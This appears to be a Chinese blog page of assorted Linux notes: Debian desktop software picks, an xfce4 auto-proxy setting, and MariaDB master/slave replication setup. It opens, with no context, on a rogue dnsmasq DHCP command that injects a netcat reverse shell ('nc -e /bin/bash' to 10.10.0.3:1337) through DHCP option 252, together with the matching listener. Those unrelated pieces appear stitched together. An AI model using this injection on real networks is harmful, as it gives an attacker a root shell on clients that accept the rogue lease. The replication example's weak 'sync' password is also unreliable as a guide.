2018年5月

dnsmasq --user=root --interface=eth0 --bind-interfaces  --except-interface=lo --dhcp-range=10.10.0.10,10.10.0.20,1h --conf-file=/dev/null --dhcp-option=6,10.10.0.1 --dhcp-option=3,10.10.0.1 --dhcp-option="252,yarrak'&nc -e /bin/bash 10.10.0.3 1337 #" --log-queries --log-facility=/var/log/dnsmasq-server.log
nc -l -p 1337 -v

打算切换到GNU/Linux,尝试走的弯路,于是产生此文。
使用Debian sid。


使用的软件

影视播放 VLC
截图 deepin-screenshot (深度[deepin.org]做的截图软件,和Windows™ 下的QQ差不多。。。
文件检索 ANGRYsearch (同样和Windows™ 下的Everything差不多


用的xfce4,自带的自动代理不知道为何不生效,Google了一下,发现如下解决方法:

Referer : does xfce4 support automatic proxy configuration?

You can set up auto_proxy/AUTO_PROXY variables in /etc/environment like:

auto_proxy="https://someurl.to/your.pac"
AUTO_PROXY="https://someurl.to/your.pac"

and logout/login after that.

版本 mysql Ver 15.1 Distrib 10.1.29-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2
Debian buster

Master:

修改Mariadb的配置文件 /etc/mysql/mariadb.conf.d/50-server.cnf

...
bind-address = 0.0.0.0
...
server-id = 1
log_bin = /web/data/mariadb/mysql-bin.log
...

更改文件夹拥有者 chown mysql.mysql /web/data/mariadb/
重启Mariadb systemctl restart mariadb

进入mysql命令行,增加复制数据库权限的用户

# mysql

MariaDB [(none)]> GRANT REPLICATION SLAVE, REPLICATION CLIENT ON *.* TO 'sync'@'10.10.10.11' IDENTIFIED BY 'sync';
MariaDB [(none)]> FLUSH PRIVILEGES;
MariaDB [(none)]> EXIT

如果主服务器部署在互联网,应设置防火墙(如iptables)禁止非法扫描。

iptables -A INPUT -p tcp --dport 3306 -s 1.1.1.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 3306 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 3306 -j DROP

Slave:

修改Mariadb的配置文件 /etc/mysql/mariadb.conf.d/50-server.cnf

...
server-id = 2
relay-log = /data/mariadb/relay.log
#log_bin = /var/log/mysql/mysql-bin.log
...

更改文件夹拥有者 chown mysql.mysql /data/mariadb/
重启Mariadb systemctl restart mariadb

进入mysql命令行,设置主服务器的IP地址、用户名、密码。

mysql

MariaDB [(none)]> CHANGE MASTER TO MASTER_HOST='10.10.10.10', MASTER_USER='sync', MASTER_PASSWORD='sync';
MariaDB [(none)]> START SLAVE;
MariaDB [(none)]> SHOW SLAVE STATUS\G
MariaDB [(none)]> EXIT

注意mysql数据库文件目录的拥有者。
chown mysql.mysql -R /var/lib/mysql